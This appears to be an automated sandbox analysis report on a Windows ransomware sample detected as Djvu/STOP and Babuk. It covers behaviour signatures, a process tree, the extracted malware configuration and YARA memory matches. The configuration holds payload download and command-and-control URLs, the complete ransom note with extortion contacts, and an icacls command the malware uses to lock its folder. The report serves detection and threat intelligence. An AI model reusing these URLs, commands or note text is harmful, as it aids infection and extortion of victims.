Edit tour

Windows Analysis Report
F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Overview

General Information

Sample name:	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
Analysis ID:	1480955
MD5:	4748d9904e0eaefdd79c1dc4c5142be1
SHA1:	7f05ee2976314962e6ae088be53d0b78f8d71248
SHA256:	72f533453a36b4608bb4ccd6a8d534fcb05d7d51a55420b546defae752774221
Tags:	exe
Infos:

Detection

Babuk, Bdaejec, Djvu

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Found ransom note / readme

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected Babuk Ransomware

Yara detected Bdaejec

Yara detected Djvu Ransomware

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found stalling execution ending in API Sleep call

Infects executable files (exe, dll, sys, html)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies existing user documents (likely ransomware behavior)

PE file contains section with special chars

PE file has a writeable .text section

Tries to harvest and steal browser information (history, passwords, etc)

Uses known network protocols on non-standard ports

Writes a notice file (html or txt) to demand a ransom

Writes many files with high entropy

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found evasive API chain (may stop execution after checking a module file name)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses cacls to modify the permissions of files

Uses code obfuscation techniques (call, push, ret)

Uses the system / local time for branch decision (may execute only at specific dates)

Yara signature match

Classification

Process Tree

System is w10x64

F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe (PID: 6984 cmdline: "C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe" MD5: 4748D9904E0EAEFDD79C1DC4C5142BE1)

VOsoyD.exe (PID: 5908 cmdline: C:\Users\user\AppData\Local\Temp\VOsoyD.exe MD5: F7D21DE5C4E81341ECCD280C11DDCC9A)

WerFault.exe (PID: 5348 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5908 -s 1608 MD5: C31336C1EFC2CCB44B4326EA793040F2)

F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe (PID: 2568 cmdline: "C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe" MD5: 4748D9904E0EAEFDD79C1DC4C5142BE1)

icacls.exe (PID: 5580 cmdline: icacls "C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9" /deny *S-1-1-0:(OI)(CI)(DE,DC) MD5: 2E49585E4E08565F52090B144062F97E)

F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe (PID: 320 cmdline: "C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe" --Admin IsNotAutoStart IsNotTask MD5: 4748D9904E0EAEFDD79C1DC4C5142BE1)

F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe (PID: 5316 cmdline: "C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe" --Admin IsNotAutoStart IsNotTask MD5: 4748D9904E0EAEFDD79C1DC4C5142BE1)

F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe (PID: 4204 cmdline: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe --Task MD5: 4748D9904E0EAEFDD79C1DC4C5142BE1)

F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe (PID: 7204 cmdline: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe --Task MD5: 4748D9904E0EAEFDD79C1DC4C5142BE1)

F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe (PID: 7424 cmdline: "C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe" --AutoStart MD5: 4748D9904E0EAEFDD79C1DC4C5142BE1)

F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe (PID: 7444 cmdline: "C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe" --AutoStart MD5: 4748D9904E0EAEFDD79C1DC4C5142BE1)

F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe (PID: 7636 cmdline: "C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe" --AutoStart MD5: 4748D9904E0EAEFDD79C1DC4C5142BE1)

VOsoyD.exe (PID: 7652 cmdline: C:\Users\user\AppData\Local\Temp\VOsoyD.exe MD5: F7D21DE5C4E81341ECCD280C11DDCC9A)

cmd.exe (PID: 7824 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\33f77c43.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe (PID: 7724 cmdline: "C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe" --AutoStart MD5: 4748D9904E0EAEFDD79C1DC4C5142BE1)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Babuk	Babuk Ransomware is a sophisticated ransomware compiled for several platforms. Windows and ARM for Linux are the most used compiled versions, but ESX and a 32bit old PE executable were observed over time. as well It uses an Elliptic Curve Algorithm (Montgomery Algorithm) to build the encryption keys.	No Attribution	http://chuongdong.com/reverse%20engineering/2021/01/03/BabukRansomware/ https://blog.cyble.com/2022/05/06/rebranded-babuk-ransomware-in-action-darkangels-ransomware-performs-targeted-attack/ https://blog.morphisec.com/babuk-ransomware-variant-major-attack https://blog.talosintelligence.com/2021/11/babuk-exploits-exchange.html https://chuongdong.com/reverse%20engineering/2021/01/16/BabukRansomware-v3/	https://malpedia.caad.fkie.fraunhofer.de/details/win.babuk

Name	Description	Attribution	Blogpost URLs	Link
STOP, Djvu	STOP Djvu Ransomware it is a ransomware which encrypts user data through AES-256 and adds one of the dozen available extensions as marker to the encrypted file's name. It is not used to encrypt the entire file but only the first 5 MB. In its original version it was able to run offline and, in that case, it used a hard-coded key which could be extracted to decrypt files.	No Attribution	https://angle.ankura.com/post/102het9/the-stop-ransomware-variant https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/ https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/	https://malpedia.caad.fkie.fraunhofer.de/details/win.stop

Malware Configuration

Threatname: Djvu

{"Download URLs": ["http://zerit.top/dl/build2.exe", "http://fuyt.org/files/1/build3.exe"], "C2 url": "http://fuyt.org/test1/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-0S984cQ4B3\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@sysmail.ch\r\n\r\nReserve e-mail address to contact us:\r\nsupportsys@airmail.cc\r\n\r\nYour personal ID:\r\n0430JIjdm", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAup7xLNZcQ4MZOSDTvBj6\\\\n7Shvgof4dZwAEFfM4Qn6EvfybMldng8cq4I8XKCGgbb4qleJAF7W2dmJHdLsc5du\\\\nn8FhrNPyozIM2b3b+aIVTP\\/lJE4DFAuzoGoNy\\/r7ZMMCouk+kV+0YBL\\/H9AD2HSx\\\\ntpYMoPkxkjt02aJScPkgYcIZKsj8LUimPmEy34gW\\/wIkqvbMYKXtNnao\\/qED9CFR\\\\n6UBM46bPFhHq3QpKPr6sdTg4kaQi\\/ZLueJvFVZ2raXOcEA1TunnUmTVfBP6Uboip\\\\nfrCky0fkvCyEHfX6+Sizo50\\/glCm7dKNyNlXe3DaKCDvma36A+5uUwe+8X2hPKdj\\\\nJQIDAQAB\\\\n-----END PUBLIC KEY-----"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2035582084.00000000006A3000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000E.00000002.2165690600.0000000002162000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000005.00000002.2081428261.000000000225D000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000B.00000002.2094534233.0000000002310000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000B.00000002.2094534233.0000000002310000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000F.00000002.2176111668.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000F.00000002.2176111668.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000F.00000002.2176111668.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000E.00000002.2165749001.0000000002200000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000E.00000002.2165749001.0000000002200000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000011.00000002.2254835976.00000000007F9000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000C.00000002.3274539908.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000C.00000002.3274539908.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000C.00000002.3274539908.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000011.00000002.2255017517.0000000002360000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000011.00000002.2255017517.0000000002360000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000013.00000002.2265528714.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000013.00000002.2265528714.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000013.00000002.2265528714.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000B.00000002.2094369829.000000000227B000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000005.00000002.2081672859.00000000022F0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000005.00000002.2081672859.00000000022F0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 6984	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 6984	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x57733:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: VOsoyD.exe PID: 5908	JoeSecurity_Bdaejec	Yara detected Bdaejec	Joe Security
Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 2568	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 2568	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x48e80:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 320	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 320	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x5327b:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 5316	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 5316	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 5316	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x1a0f4a:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 4204	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 4204	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x310c1:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 7204	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 7204	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 7204	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x331b4:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 7424	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 7424	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x46dee:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 7444	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 7444	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3129e:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 7636	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
